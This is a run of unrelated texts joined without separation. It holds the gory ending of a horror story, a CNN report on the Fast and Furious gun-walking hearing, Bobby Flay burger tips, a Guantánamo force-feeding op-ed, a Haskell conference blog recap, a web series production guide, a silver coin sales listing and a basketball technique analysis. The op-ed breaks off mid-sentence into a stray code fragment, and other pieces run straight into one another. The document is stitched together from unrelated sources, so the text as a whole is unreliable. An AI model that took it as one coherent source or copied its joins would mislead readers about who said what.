Jimmy suddenly hunched over. Thick, dark waves of nausea passed over him, rolling through his guts in stiffening waves. He puked on the ground, unable to fight the heated surges. He had never felt so much anger, so much hatred for anything. He gasped for air as green bile dripped from his nose, wracked with pain as convulsions ripped at his stomach, doubling him over with repeated attacks. Finally Jimmy straightened up, the cramps ceased their bitter hold, but not without the threat of a relapse as one more rolled swiftly up his spine. He coughed and spit, wiping his nose with a downward swipe of his hand.
“We have to kill that bastard! It’s him or us. Rena, are you all right?” He stood transfixed upon a hidden thought. It seemed that good old Jimmy was gone and now a man with a serious mission stood before them. Anger had raised him from his good nature and pitted him with an unchallenged hatred. The old Jimmy never wanted to kill anything, but the new Jimmy needed to.
“Thanks, David. I thought I was lost when that thing turned on me, but then there you were stabbing at that bitch with all you had. And you, Rena, you turned the tides, baby. Did you see that thing shrink back when you kicked it in its ugly jowls? Yea, baby, that was the shit! Look at my stick. That’s blood and it aint mine!
“Jimmy. Hey Jimmy.” He was pumped and way too much to be normal. “Jimmy. Are you all right, bro?” David looked at his life-long friend and found no one that he knew.
“I’m fine, but we have to kill that fucker, David, and I mean fuckin dead!”
“I’m with that, Jimmy.” He knelt next to Brad wishing him to live, but deep in his heart he knew there was no help for his friend, blood spilled through the makeshift bandage and poured through his fingers. “Jimmy, did you find Suzie?”
He stood staring into the darkness of the night as if Brad didn’t exist at all. “She’s gone. I’m sorry, man, but she’s gone.”
Rena winced at his words and snuffed back an angry tear. Her heart hardened with each second that dared to tick.
“We’re coming for you. YOU SON-OF-A-BITCH!” His voice tore into the darkest recesses of the night and the creatures of the forest cringed from his anger.
The beast cringed as well as the maddened echo reverted into his heart. His ancient body quivered as it shrunk. Something in his back cracked as his neck whip lashed in pain. This hatred was strong. This was the price the beast had always had to pay, but the pain was always worth the consequence. Hatred had its way of stagnating the world, and after all; this was his joy- spreading hatred into a world that he despised.
One more kill should do the trick. The boy or the girl? They were all children to him, Gods children, he thought with a mordant grin. The boy or the girl? This thought pleased him, having the power of choice, who would live and who would die, how tastefully elegant, how wonderfully poetic. He loved to piece this world together, but even more than that he loved to rip it apart! The beast could feel the strong bond of love between the two humans and he could not leave that kind of strength to ruin his plans. Love could overcome many obstacles, one of which was hatred. One of them would have to die.
Again a nauseating wave of pain swept through the beast as the slow ending crept upon him with its agonizing grip. His bones dislocated and his discs regenerated into smaller sub-particles.
The beast would kill the first one that he saw. Time was of an essence now, the reversing had begun and with that thought another explosion of pain wracked him thoroughly.
A blood bubble popped on his lips as the last gasp of air rose from his lungs. The beast felt him die as the last of his fear vanquished with the beating of his heart. In mid stride he stumbled as his hips popped out of place and then rejoined in an agonizing scrape of bone on bone.
“Brad! Oh man he’s gone.” Anger welled within her as she slowly pulled her bloodied fingers away from her friend’s carotid artery. There was no longer a pulse; in its place a fast brewing anger was stewing into hatred.
The beast felt this anger and it pleased him, even though the pain from it wracked his body with sledgehammer effectiveness. The boy!
The beast tore out of the darkness and was upon him before any of the others could even move. They went down in a clump of fur and snarling fangs as the force of the charge impacted into this last victim. The beast was the size of a border collie now, but one with fangs and claws of death instead of whims for attention and a wagging tail.
“Jesus!” Rena screamed as David’s gnarled cry chocked from his throat.
This was the first real cry for a God that the beast had discerned. This too seemed to be fading from this world, not a bad trade thought the beast with contentment.
David fought savagely to free himself from the unyielding grasp of the beast, but to no avail. His frantic mind waned in its efforts to elude him from the suffocating fangs of the ancient predator and before it had begun it was done. The attack was precise. David’s jugular had been torn, his windpipe lacerated by the sharp teeth of his assailant.
Jimmy grabbed the shrieking beast and tore it from David, the hatred of his mind turning his hands into weapons and his thoughts into need. His grip was so tight that his fingers drew blood from the flesh of the beast as he turned it towards a broken, jagged limb and slammed the beast’s face into it with all his might. The thing howled in pain as it fell to the ground with the limb imbedded into its skull. Jimmy’s anger escalated as his heavy boots reigned in upon the beast.
Rena’s mind went blank as her hatred overpowered any fear that lingered, she saw red as she grabbed the makeshift spear that David had been holding and rammed it into the beast. A great and secret pleasure filled her as she repeatedly buried the sharp stick into the belly of the beast.
Jimmy’s anger still did not reside, in fact it seemed to grow. The more damage he inflicted upon the beast the better he felt. His heart was kicking with adrenaline and his mind spinning with malcontent and he savagely attacked the downed prey. He was the hunter now!
Oh yes, the beast thought as it shrunk into nothing, the seed was planted, it gave him pleasure to know that there was no doubt that it would grow! It winced from the pain of the regeneration of its flesh and bones, his attackers’ brought him pain as well, but that was a simple pain compared to the other.
Neither of them seemed to notice that the beast had shrunk to the size of a kitten. Jimmy’s boot smashed into its skull with a savagery he should never of had to know and now would not be able to live without.
In the end the beast was small, too small to discern with the naked eye. Once again trapped deep within the confines of hatred, maybe even deeper than it could ever remember-maybe not?
The darkness presumed its innocence in all of this, welcome it seemed to say, as it rolled back its tenacious grip and let the first rays of dawn etch their way into its mighty depths.
They walked now in silence, leaving behind people that were not their lifetime friends, but people who were probably better off dead anyway. They would explain it the cops in an, ‘oh well’ manner that would be taken as shock from such a violent and severe loss. Therapy would be offered and rejected as unnecessary and tons of useless condolences would be thrown their way from people that they really couldn’t remember caring less about in the first place.
In the end one would spend his last days on death row for the heinous murders of twenty-three innocent victims and the other would laugh at the irony of not getting caught with her partner of death. What became of Susie, oh yes, she fell too far into herself and could not reemerge. The beast came upon her with malice, but left with unconcern. The police detectives found her huddled in a ball as an empty soul. She resides in a place where, no matter the efforts, no one can find her.
Yes, an ancient seed had been planted. How many times before? How many times again?
It stirred beneath its ancient flesh and wondered how long it had been since it had last emerged. Quickly it brushed aside the thought. Time was not important, only the fear, only the hatred, only the flesh!
There is a darkness that resides in us all. Some find it with ease and nurture it along, while others are repulsed at even the thought and they hide it well. Some of us bring it out once in a while to let it run free, to let it play in the fields of havoc, but have the control to put it away before it is too late. Then there are those who are trapped by it and live a life of no concern, no consequence and no control.Washington (CNN) -- Federal firearms agents in Arizona cringed every time they heard of a shooting after letting waves of guns pass into the hands of Mexican drug gangs, some of those agents told a House committee Wednesday.
It was part of an operation aimed at tracking the flow of weapons across the U.S.-Mexican border, but the operation has come under intense criticism since the December killing of a U.S. Border Patrol officer. Operation Fast and Furious, as the program was known, was "a colossal failure of leadership," said Peter Forcelli, a supervisor at the Phoenix field office of the Bureau of Alcohol, Tobacco, Firearms and Explosives.
When U.S. Rep. Gabrielle Giffords was wounded and six others were killed in a January assassination attempt in Tucson, Forcelli said, an agency spokesman told him "that there was concern from the chain of command that the gun was hopefully not a Fast and Furious gun." Another agent, Lee Casa, said, "This happened time and time again."
"Every time there's a shooting, whether it was Mrs. Giffords or anybody, any time there is a shooting in the general Phoenix area or even in, you know, Arizona, we're fearful that it might be one of these firearms," Casa told the House Oversight and Government Reform Committee. The killings of three people connected with the U.S. consulate in Juarez, Mexico, caused similar anxiety, Casa said.
And a third agent, John Dodson, told lawmakers: "I cannot begin to think of how the risk of letting guns fall into the hands of known criminals could possibly advance any legitimate law enforcement interest. I hope the committee will receive a better explanation than I."
Operation Fast and Furious focused on following "straw purchasers," or people who legally bought weapons that were then transferred to criminals and destined for Mexico. But instead of intercepting the weapons when they switched hands, Operation Fast and Furious called for ATF agents to let the guns "walk" and wait for them to surface in Mexico, according to a committee report.
The idea was that once the weapons in Mexico were traced back to the straw purchasers, the entire arms smuggling network could be brought down. Instead, the report argues, letting the weapons slip into the wrong hands was a deadly miscalculation that resulted in preventable deaths, including that of Border Patrol Agent Brian Terry.
Terry was killed last year just north of the Mexican border in Arizona after he confronted a group of bandits believed to be preying on illegal immigrants. Two weapons found near the scene of the killing were traced to Fast and Furious.
"I was flabbergasted. I couldn't believe it at first," Terry's mother, Josephine, said of when she learned that the ATF may have let some of the guns used in the attack slip through its fingers. Terry's family said they want all those involved in his killing and who helped put the weapons in their hands to be prosecuted.
"We ask that if a government official made a wrong decision, that they admit their error and take responsibility for his or her actions," Robert Heyer, Terry's cousin and family spokesman, testified.
The committee's chairman, California Republican Rep. Darrell Issa, called the operation "felony stupid." As many as 2,000 semi-automatic rifles reached the hands of the cartels as a result, and Issa said the top two ATF officials were briefed the program regularly.
Assistant Attorney General Ronald Weich testified that the ATF never knowingly allowed the sale of assault weapons to straw purchasers, who then transported them into Mexico.
But Issa and other congressmen said the claim was deceiving. Although it is technically true that straw purchasers didn't cross any weapons into Mexico, they did transfer them to third parties who did, they said.
Issa also was upset over heavily redacted documents that his committee had received from the attorney general's office. Weich said his office was cooperating to the greatest extent possible, given concerns about disrupting the ongoing investigation. But Weich said he did not know or was not able to answer questions about who authorized the operation.
"The attorney general has said he wants to get to the bottom of it," he said.
Speaking before the committee, Sen. Charles Grassley, R-Iowa, said that the operation started with the flawed assumption that there was a large arms trafficking network that was operating.
"That kind of assumption can cause you to start with a conclusion and work backwards, looking for facts that fit the case. Until you figure out that you've got the cart before the horse, you're probably not going to get anywhere," he said.
Casa said ATF supervisors in Phoenix, where the project was based, brushed off several agents' concerns over letting guns go. And Dodson said that despite evidence that straw purchasers were giving their weapons to cartels, the agency went no further than to do some surveillance.
"Knowing all the while, just days after these purchases, the guns that we saw these individuals buy would begin turning up at crime scenes in the United States and Mexico, we still did nothing," he said.
Forcelli, also criticized the U.S. Attorney's Office in Arizona for what he described as a tendency not to prosecute arms trafficking cases, and said "toothless" laws against straw buyers made it difficult to recruit low-level operatives as witnesses.
"With these types of cases, for somebody to testify against members of a cartel where the alternative is seeing a probation officer once a month, they're going to opt toward not cooperating with the law enforcement authorities," he said.For a guy so obsessed with flavor, Bobby Flay is remarkably restrained when it comes to burgers: He likes ’em beefy, juicy, and crunchy. Here’s what he tells his line cooks at his 18 Bobby’s Burger Palaces :
“For each burger, take about six ounces of beef, pack it gently into a patty, and then stop. Make a well in the patty with your thumb, or it’s gonna plump up like a football.” “It’s not so much about what cut of beef you use, it’s about fat content. You want 20 percent ; any less and it’ll be too dry.” “All you need is salt and pepper on both sides of the patty. You don’t need any ‘secret ingredients’ inside the burger itself. That’s meatloaf; I hate that.” “Add a little neutral oil to a hot skillet. Lay the patty in and don’t ever push down on the burger. Let a crust form, and then flip it.”
Key Move
“How do you cook the sides of the patty? Add a little water to the pan and cover for 10 to 15 seconds; the steam will cook it around the edges. Try the same method to melt your cheese.”
Tips for Tops
Flay likes to “crunchify ” his burgers with thin potato chips, like Lay’s. Tomatoes, but only if they’re in season. Otherwise, coleslaw, pickled jalapeños, chipotle ketchup, and thinly sliced red onion. “Two slices of American,” Flay says, “cooked till they're melted completely.” No artisanal or ciabatta rolls for Flay. He sticks with a soft, seeded bun.
Get the Recipe: Bobby's Crunch Burger“Safe, Humane, Legal, Transparent”: so goes the slogan of the world’s most famous offshore prison. It’s an Obama-era rebrand, a bid by Gitmo’s PR people to persuade Americans that today’s is a kinder, gentler Guantánamo Bay. There’s just one wrinkle: Gitmo is stilldangerous, nasty, lawless and secretive – and the evidence just keeps piling up.
At the forefront of this war over the truth is the first-ever trial concerning the practice of force-feeding prisoners on hunger strike, due to start Monday. My client, Abu Wa’el Dhiab – a Syrian man who has never been charged, and indeed has been cleared to leave Guantánamo by the US government for more than five years – has been fighting for over a year to reform the way he and other hunger-strikers have been treated. He’s finally about to have his day in court.
But the Obama administration refuses to accept this unusual intrusion of justice into its island idyll. On Friday, US justice department attorneys filed a motion asking the court to hear all evidence in the trial entirely in closed court, save a short, anodyne opening statement from lawyers on both sides.
What we had planned to discuss in public is no secret – at least, not a legitimate one. Three expert witnesses would take the stand to talk openly about the gruesome effects of force-feeding on Abu Wa’el. A bioethicist, a torture physician and a psychiatrist who is also a retired Brigadier General would testify that force-feeding as currently practiced at Guantánamo Bay is punitive – that it is a transparent effort by prison authorities to break detainees’ will and stop them from hunger-striking. What force-feeding emphatically is not, these experts will say, is proper medical care. It is a gross violation of medical ethics. But if the government gets its way, throughout this testimony, the courtroom’s public gallery will be empty.
The craziest aspect of the government’s request to close down this trial is that one of our cleared experts, Dr Sondra Crosby, has already testified in public in one of the military commissions (the quasi-criminal but less-fair “trials”) at Gitmo. This April, she spoke, on camera and in detail, about the torture of a defendant – Abd al-Rahim Hussein Muhammad Abdah al-Nashiri – who is one of the three people the US government admits it waterboarded. That is a “top secret” case; if a doctor could talk about torture then, why can’t a doctor call the torture of a cleared inmate what it is today?
In a recent phone conversation with me from Guantánamo, Abu Wa’el offered his own view on the government’s motivations for keeping so much in this case so unnecessarily secret:
They want all of us to be invisible: the detainees, the kind people like the nurse who would not force-feed us, the people who could tell Americans the truth.
He was right. Since the start of the mass hunger strike last year and the start of our litigation, the government has thrown up obstacle after obstacle to keep the public from understanding what force-feeding at the base really looks like.
First, the Obama administration insisted there should be no trial of force-feeding at all, claiming the courts had no power to police abuses at the base. Then it prematurely declared the hunger strike “over” and announced that Department of Defense would no longer publish the total number of prisoners on hunger strike. Around the same time, the government even wiped the inconvenient term “hunger striker” from its lexicon: talk to a Pentagon spin doctor today, and you will find there is no such thing as a hunger strike, no such thing as force-feeding. Today there are only “noncompliant detainees” who engage in “non-religious long-term fasts” and must be “enterally fed”.
This is what the Pentagon refuses to say: twice a day, every day, it puts cleared hunger-strikers through abuse that would shock most Americans if they could but see it.
But testimony from a |
= 1 | otherwise = memo! (n-1) + memo! (n-2)
I know that the Haskell version is not that big when compared to Python version but in the Haskell version a lot of lazy evaluation is going on and it is definitely not for beginners. The Python version can be understood by a noob too. I kept it to myself because I knew how it was done.
Next we had a breaking-the-ice session and I met with many new programmers (functional wizards?). Thanks to Naresh Jain. After that I kept introducing myself to a lot of people and it was fun.
The next talk was given by Aloïs Cochard on a library called machines in Haskell. I did not get much from it. There had to be something challenging so that the experts don’t get bored right? I should have used the law of two feet (The law of two feet states that if you do not gain or contribute something then thou shalt use your two feet).
The next talk was given by Abdulsattar Mohammed, and it was about dependent types in Idris. I really enjoyed that talk. With dependent types you can prove the correctness of your code at compile time, but the cost that you have to pay is that it will take forever to compile and that is not good but this language can be used for prototyping and it will kick ass in there. Another thing that I found interesting was an IDE for Idris and he just wrote the type signature for map and the IDE (based on Atom) wrote the entire code for map! If you have used Eclipse for Java this might not seem like much but this is much more than what Eclipse does for Java. In the case of Idris, the IDE takes leverage of the advanced type system and achieves nirvana! He explained the dependent types with an example of storing age. In Java you would use an Integer but an Integer is not the correct way to represent it. You cannot have -1 for age or you cannot have age greater than 150 (150 years is the hard limit to which a human can live). To solve this you have to write try and catch blocks and handle exception, this happens at run time. In Idris you can detect this at compile time and I am not convinced. Someone asked what would happen if you were to get an input greater than 150 at run time, what had to be done to handle it. I have the same question. Later, I asked if dependent types are available in Haskell he told that it can be used with an extension of GHC (Glasgow Haskell Compiler) the GADTs. The only thing that aches me is that we do not have such a good IDE for Haskell (I use emacs by the way and I have no regrets).
The lunch was appetizing and I was stuffed. The dessert was great too.
The next talk was given by Rahul Muttineni on a cross-breed between GHC and JVM. Enter GHCVM, it has support to use the entire hackage and Java’s library with some foreign function interface. He explained the concept of lazy evaluation in detail. The GHCVM that he was working on is a fork of GHC. He replaced the C code in the RTS part of GHC with Java. He also showed what STG(Spineless Tagless G-Code) looked like. STG is optimized Haskell that consists of only case-of and let constructs. This optimization was introduced into GHC by Simon Petyon Jones. It is one of the reasons why GHC is as fast as it is today. Later, I asked Rahul how he got started with working on GHC. He complained about the lack of documentation. He told that #haskell IRC channel on freenode would be helpful. He asked which part of GHC I wanted to work on. I had previously worked on the lexing and parsing stage. I had done my research on running bytecode on a VM. I told that I was interested in working on converting the AST into bytecode. He told, that was the most difficult part. Nevertheless I am still interested in doing just that.
The next talk was given by Bartosz Bąbol on Scala Meta. He told that macros were included in Scala as an experimental feature but it was removed recently. Scala without macros? Ugh. Then he also said that they improved macros to the next level and they introduced Scala Meta (that is a relief). I have not used any real macros. The closest that I have come is decorators in Python. He also said that this was different from the legacy macros and it could take tokens and manipulate it. He started with an explanation of what meta meant. A joke about someones joke is a meta joke. Data about the data is called meta data. Finally, a program that works with another program is called meta program. He showed how boilerplate code could be removed using a macro. He demonstrated that sometimes we might have to try the same action a hundred times, then if it did not achieve success then we abort with an exception. This can be easily done with try catch blocks and a for loop that runs a hundred times. He showed how it was done using macros (like a pro). Writing less code? I’m in! He also told that if we wanted to use Scala Meta, we could do it in a beautiful Island, hey that was an exceptional job offer.
The last talk was given by Viral B. Shah and Sashi Gowda. It was on Julia. It is a dynamically typed general purpose programming language. It is mostly used for crunching numbers. It is used where MATLAB or R is generally used. They talked about the optimization that they made to the Julia compiler to make the functional subset of Julia faster. They also told that they introduced APL like arrays. On a side note APL is one hell of a language. There is also experimental support for one indexed arrays. They showed how one could use Julia REPL to see the Assembly code or the LLVM IR that was very impressive. They also pulled off some stunts with matrices in Julia. They also showed how Julia was secretly Lisp under the hood.
The Conference ended and I vanished into the horizon riding my horse.
Update:
Click here to view the video recordings of the Conference on YouTube.
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Stareable’s Guide to Creating a Show (Part 2)
Stareable Blocked Unblock Follow Following Mar 20, 2017
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Plenty of screenwriters might go their whole careers without ever filming something themselves. But you, my friends, have chosen that web series way of life — indie film at its most indie. In general, making a film is broken up into three parts: pre-production (planning), production (filming), and post-production (editing). In reality, though, each of those parts is a process unto itself. So today, we’re going to talk about the pre-production you do BEFORE pre-production truly begins.
Pre-pre-production is essentially where you answer the question, “can we actually pull this off?” Spoiler alert: probably.
Since you’re fresh off your script writing, a good next step is doing breakdowns. Read the full “how to make a breakdown” article here. It involves a lot of spreadsheets.
Filmmaking is a collaborative process and at this point you’re going to want to start bringing more people on board. If you haven’t done much film production before, find a trusted person who has, and make them a producer. The producer’s job is to know what’s going on at every level of production and make sure each task gets completed. The most valuable quality in a producer is experience in film, even if they’ve never actually held the role of “producer” before. They’ll provide a vital perspective and knowledge-base for turning your awesome script into an awesome show. They’ll fill in blanks you might not even realize were there, and suggest shortcuts to make your life easier.
Most projects have multiple producers, all with different strengths. A dream team would consist of someone with film experience, someone who’s really organized, and someone who has a big network. Sometimes you’ll get an all-in-one, and sometimes you’ll mix-and-match. It really depends on who you know and how interested in the project they are. Your producer team is your lifeboat in a sea of uncertainty and stress, and you’re going to want to sign them on as early as possible.
You’re also going to want to find a director, because without them, there’s no one to actually film the thing. Maybe you’re considering directing the series yourself, and if that’s the case, good for you! Just know that directing consists of more than calling “action” and “cut” — it’s about visualizing every angle you need for each scene, paying attention to pacing and transitions, and coordinating and communicating every person on set. It’s also about having all the answers to everything happening at any given time. I don’t say this to deter you, just to clarify that being a director is a massive undertaking, and having someone confident in their film experience in this position is going to be invaluable.
Got your people? Great. Schedule a meeting, share your script, and collectively go through your breakdowns. The goal here,, remember, is to answer the question, “can we actually pull this off?”
This is when your more production-knowledgeable friends and partners will really help you out. They’ll be able to point out places where you’ve made the script too complicated, or why certain props and locations might be difficult to attain, and offer educated alternatives. A lot of the time, you can accomplish what you want with your story in simpler ways. You just need to understand what your options are, and having partners with more experience allow you to uncover those possibilities.
Now it’s time for what I’ll call “realistic rewrites” of your show, accounting for the resources you have available and the realities of what you can accomplish on a microbudget. This can be as simple as changing a location from a busy club to an apartment, or as drastic as cutting a character. Compromise is part of the process, so get used to killing your darlings and making sacrifices where you can in service of actually getting this project to the finish line. Once you make it big, you can plan to revisit those more ambitious ideas, and you’ll have the experience to know how to make them count.
Before you bring any more people on board, we have to talk about money, which we’ll do next week. To be clear, we don’t have any to give you. But we’ll help you understand your different options for funding or simply affording your production. See you then!The Royal Mint of London is one of the world’s oldest and most prestigious refineries. As a result of the expansion of the British Empire around the world, the Royal Mint once operated refineries on as many as four different continents. Today it remains the primary production facility for coinage in the United Kingdom, and right now the all-new 2016 2 oz British Silver Queen’s Beast Coin is available from JM Bullion.
Coin Highlights:
Arrives in an individual plastic flip, in mint tubes of 10, or in mint boxes of 200.
1st release in a series of 10 coins! Precedes the 2 oz Queen’s Beast Griffin.
1st ever 2 oz Silver Bullion coin from the Royal Mint!
Contains 2 Troy oz of.9999 pure silver.
Bears a face value of 5 (GBP) and is fully backed by the government of Britain.
Reverse features the image of the Lion, England’s official heraldic beast.
Obverse bears an all-new portrait of Queen Elizabeth II. Designed by Jody Clark.
Available in Brilliant Uncirculated condition.
The 2016 2 oz British Silver Queen’s Beast Coin in this JM Bullion listing features a Brilliant Uncirculated grade. Coins in BU condition exhibit no signs of wear and tear, but may feature minor detracting flaws such as contact marks from striking, breaks in the luster, or spotted surfaces.
Each of these coins represents the first in the Queen’s Beast series of coins from the Royal Mint. This exciting new lineup of silver bullion coins from the mint, the first-ever silver bullion coins in this weight, featuring inspiring designs from Jody Clark.
Clark is the same man who just reimagined Queen Elizabeth II’s portrait for the obverse of all 2016-issue British and commonwealth coinage. Her Majesty’s portrait has not been updated to reflect her age since 1998, when Sir Ian Rank-Broadley created the right-profile portrait still in use by some mints.
On the reverse of the 2016 2 oz British Silver Queen’s Beast Coin is the image of a massive lion standing on its hind legs, with the heraldic shield of Britain in front of it. Engravings on this face identify the animal represented in the series, as well as the coin’s weight, purity, metal content, and year of issue.
The obverse side of the coin bears the latest depiction of Her Majesty, Queen Elizabeth II in right-profile relief. The Queen’s portrait is accompanied by engravings of her name and the face value in Pound Sterling. This represents the fifth iteration of Her Majesty’s portrait to appear on UK coinage since 1952.
The Royal Mint was originally founded in the 9th century as the London Mint. Over time it has given rise to the existence of the Perth Mint in Australia, a former Royal Mint location in that country, as well as the Royal Canadian Mint’s original facility in Ottawa.
If you have any questions about these coins, please feel free to contact JM Bullion at 800-276-6508. You can also reach us online using our live web chat and email features. If you would like to similar products, check out the rest of our British Silver Coins.The American Journal of Psychology defines habit as, "a more or less fixed way of thinking, willing, or feeling acquired through previous repetition of a mental experience." Such is the case with Boston Celtics small forward Jeff Green, who I believe has locked himself into bad habits that have prevented him from reaching his potential as a basketball player.
After Boston selected Georgetown forward Jeff Green with the fifth pick in the 2007 draft, he was quickly traded to Seattle. At the time, ESPN analyst Chad Ford said the Sonics were acquiring, "a good, but not great player, with do-it-all ability and athleticism." However, one of his weaknesses was his ability to drive to the basket.
That description sounds exactly like the 27-year-old Jeff Green in today's NBA. Green is "good, but not great," and many of his weaknesses from college remain the same. But what is preventing Green from taking his game to the next level?
I hypothesize that while Green is a good player, he has fallen into bad habits when driving to the basket. He is too reliant on his raw athleticism, and hasn't spent the time needed to improve on specific techniques. As a result, this prevents him from becoming a truly great basketball player.
Method
To find support for my hypothesis, I decided to conduct a study by watching each one of Jeff Green's drives to the basket from this season. Then I took note on whether it was a make or miss, what direction he drove, if he jumped off the correct or incorrect foot, and if the shot was forced or blocked.
To be clear, this study is strictly looking at Green's ability driving to the rim in the half court (or in transition if the opponent successfully got back to defend). This means that I am only using plays in which Green himself drove to the basket in the half court; so, wide-open plays in transition, alley-oops, balls caught at the rim, post-ups, pull-ups, and the like, are not included in this analysis.
However, I am including plays in which Green drove to the rim and was fouled. The NBA doesn't count these plays as shot attempts, but I am for the purposes of fully accounting for all of Green's true attempts at the rim.
In the process of accumulating these numbers, I came to the realization that this should be a new advanced statistic. After all, when strictly judging a player's individual ability to score on the drive, it should be more valued when the opponent is back defending, instead of open transition scores. So, these specific types of plays being studied will be referred to as "half court drives" or "HCD."
Results
In 29 games so far this season, Jeff Green has attempted 119 total HCD. 69 attempts were to the right, and 50 were to the left.
Out of the 69 right HCD, Green was fouled 12 times, and completed 29 shots. Going to his left 50 times, 14 resulted in fouls, and only 14 shots were made. You can visually see these findings on the chart above.
As for Green's HCD featuring incorrect technique, there were 28 to the left and 24 to the right. This means that 56 percent of Green's left HCD were technically incorrect, to only 34.7 percent of his right HCD. The chart above details these statistics.
When driving to the left, Green had 26 drives with incorrect technique. Out of those, 14 resulted in missed shots, and six in fouls. And on right HCD, Green had 25 with incorrect technique, and from those he missed 10 attempts, and was fouled three times.
Jeff Green attempted 24 left HCD with correct technique, with eight misses and eight drawn fouls. When going to the right, he attempted 44 shots, in which there were 18 misses and nine fouls.
Lastly, from Green's 119 total HCD, I have 28 labeled as "forced," three labeled as "blocked shot," and nine as "and-one opportunities." Of the 28 forced shots, only eight were scored.
Discussion
Looking only at the statistics, my findings suggest that Jeff Green is average at driving to the basket. Factoring out fouls, Green is a subpar 46.2 percent shooter on HCD. On left HCD, Green shoots a terrible 38.8 percent, and to his right, a respectable 50.9 percent. With free throws added, Green has a total 56.6 true shot percentage.
Because of the wide disparity in Green's success going to the left or right, it is important to analyze them both more thoroughly. For that, I took a closer look at the film. I also spoke to an NBA advance scout, and SB Nation's Coach Nick for their input on Green's game.
Driving to the Left
Green has a number of issues going for him on HCD to the left. For one, his left-handed dribble is not very good, as he seems comfortable only with straight-line drives. This forces him into a number of difficult shots, and it frequently puts him in a position where he becomes reliant on the referees blowing the whistle to bail him out with a call.
Ultimately, when Green decides to go for a layup or dunk on a HCD, he generally utilizes the incorrect technique in a number of different ways. Of his 50 total attempts, 28 of them were with inappropriate technique, and he has hit only 38.8 percent of his shots. It's important to note that on drives to the left, it is generally proper to elevate off your right foot when using your left hand.
In the first four clips above, Green drives hard to his left and appropriately jumps off of his right foot. However, since he is uncomfortable with his left hand, he attempts the shot from an extremely awkward angle with his right hand. This results in four misses, when he could've earned his team a better possession by utilizing his left hand, or just by choosing to pass the ball.
Take note of Jeff Green's takeoff point on each one of those four plays, because he begins his leap from about eight feet away from the rim. I asked an NBA advance scout about Green's footwork, and he said, "Green tends to stop his dribble entirely and begin his flight from too far away from the basket. When guarded properly, this usually forces him into an awkward, difficult shot."
"It seems Green thinks he has a step on his defender, and by utilizing his long strides, he will have an easy path to the basket; however this is often misjudged, and as a result, he loses the momentum and power to finish the drive."
Since Green has been so athletic since high school, he likely found success scoring near the rim despite having paltry footwork, and this is probably the source of his bad habits. This carried on through college, where he continued to thrive, though professional scouts and analysts knew this would be a problem at the next level. Since becoming a pro, he has yet to fix this issue.
The advance scout explained, "Because other areas of his game needed improvements -- shooting, decision-making, and court awareness -- it's possible the way he drives to the basket may not have gotten the necessary attention."
Green's decision-making, especially in the third clip against Houston, is still questionable at times. Click here for a screen-shot of the play, and you'll see how Green has drawn three defenders, with another two lurking nearby. But he still decides to shoot despite having two open teammates standing at relatively easy passing angles.
The sixth clip on the video is an illustration of how Jeff Green's absurd athleticism can bail out his occasionally awful technique. Driving to his left, he chooses to elevate off of his left foot from about eight feet despite having more space to take one more dribble for a cleaner attempt. He then takes the shot with his right hand as it miraculously banks off the glass and goes in (on top of that, he gets a whistle for an and-one).
Often times Green completes these shots, in part because of his astonishing athleticism, but also because of his natural scoring touch. Coach Nick of SB Nation said, "There are times when he makes the shots off the wrong foot, which only serves to encourage him further, and this leads to inconsistent play, which is the bane of every coach's existence."
Driving to the Right
Jeff Green is much more efficient driving to the basket when going to his right, as he completes 50.9 percent of his shots, and displays incorrect technique only 34.7 percent of the time. This is likely because Green is right-hand dominant, so he feels more at ease going this direction. Thus, Green often elevates off the left foot and uses his right hand to finish.
Yet, he still commits far too many technical errors at 34.7 percent, while shooting a hair over 50 percent, which doesn't allow him to reach his full potential. However, the majority of Green's issues here are in relation to his takeoff point and not his left foot/right hand technique.
In some of the videos above, Green displays proper technique, especially in the final two clips. On the last play, Green drives hard to the basket and correctly elevates off his left foot, while shooting with his right hand. The drive was defended perfectly, so the shot was missed, but this was not a bad attempt by any means.
The first clip above shows Jeff Green taking off from the free throw line like he's Michael Jordan in Space Jam. Of course, it looks good in the box score, since the shot attempt goes in (and he gets to the line for an and-one free throw), but this is not a quality play. Again, this is another example of Green relying far too much on his athleticism, which possibly hinders his desire to improve on his footwork.
I believe that clip also highlights Green's inability to make more complex dribble moves. Instead of opting for a spin move or euro-step, which would spring him wide-open for an easy layup, he goes for a ridiculous shot with a low chance of success. With plays like that, Green is fortunate to have the raw athleticism and large hands necessary to save him from his subpar technique.
The Psychology of Habit
William James, one of the most prominent psychologists in history, wrote in Principles of Psychology, "When a mental process passes through the brain, the nervous tissue leaves a trace, which facilitates the repetition of the same nervous process. Hence, the corresponding mental process is likely to reappear. With further repetition, the path in the nervous centers deepens, and its mental correlate is experienced with corresponding greater ease."
This is probably why Green has held on so tightly to these bad habits, due to his reliance on his raw athleticism. This is not to fault him, but I do find it intriguing that he hasn't found ways around his problems. Every player has weaknesses, but the true greats do what they can to compensate for them.
"This could all be cured with several months of intensive therapy or workouts," said Coach Nick. "He would have to retrain his muscle memory to find the proper footwork and de-program the bad footwork."
"If Pete Newell were alive today, he'd be able to run Jeff Green through his big man camp and polish a lot of his game into potential All Star status." He explained, "Kiki Vandeweghe was a good example of a decent pro who, after working with Newell for a summer, became an All Star after mastering the simple and effective footwork techniques."
But even without one an amazing trainer, a player still can improve. Celtics point guard Rajon Rondo came to the NBA without much of a left hand on layups, but over the years he has developed a way to successfully use his right hand for "scoops" from the left side. Is this proper technique? No, not for most players in the NBA; but for Rondo it works, and to a high degree.
Coach Nick said that certain players can make the wrong techniques work because they spend extensive time practicing. "It appears those shots Green is taking aren't something he practices often. When you see Tony Parker jump of the wrong foot, there is a rhythm and balance, and economy of motion that makes it clear he's tactical about getting a shot off before the big man can block it."
He explained, "Often times, it appears Jeff Green is making up his move as he's doing it, which gets him caught in the air, twisted the wrong way, off-balance, with very little chance of making the shot."
For some players like Jeff Green, athleticism doesn't overcome the technique required to play at a high level. It would be unfair for me to say that Green hasn't done all he can to improve on his skills -- after all, he is a young man that fought hard to recover from heart surgery -- but signs do point to an overreliance and comfortability in his athleticism.
The NBA advance scout said, "Although Green is not known as a gym rat, one who is constantly in the gym working on his game, I feel as though if someone were to point out his flaws, he would take the time to improve -- at least I would hope so." He continued, "Green is athletic. You cannot teach athleticism, but you can teach how to properly apply it."
Breaking the Habit
No improvements for Jeff Green can be made overnight, as it would take a fully committed summer of work for him to change his habits. Nonetheless, there are some changes Green should attempt to make as soon as possible.
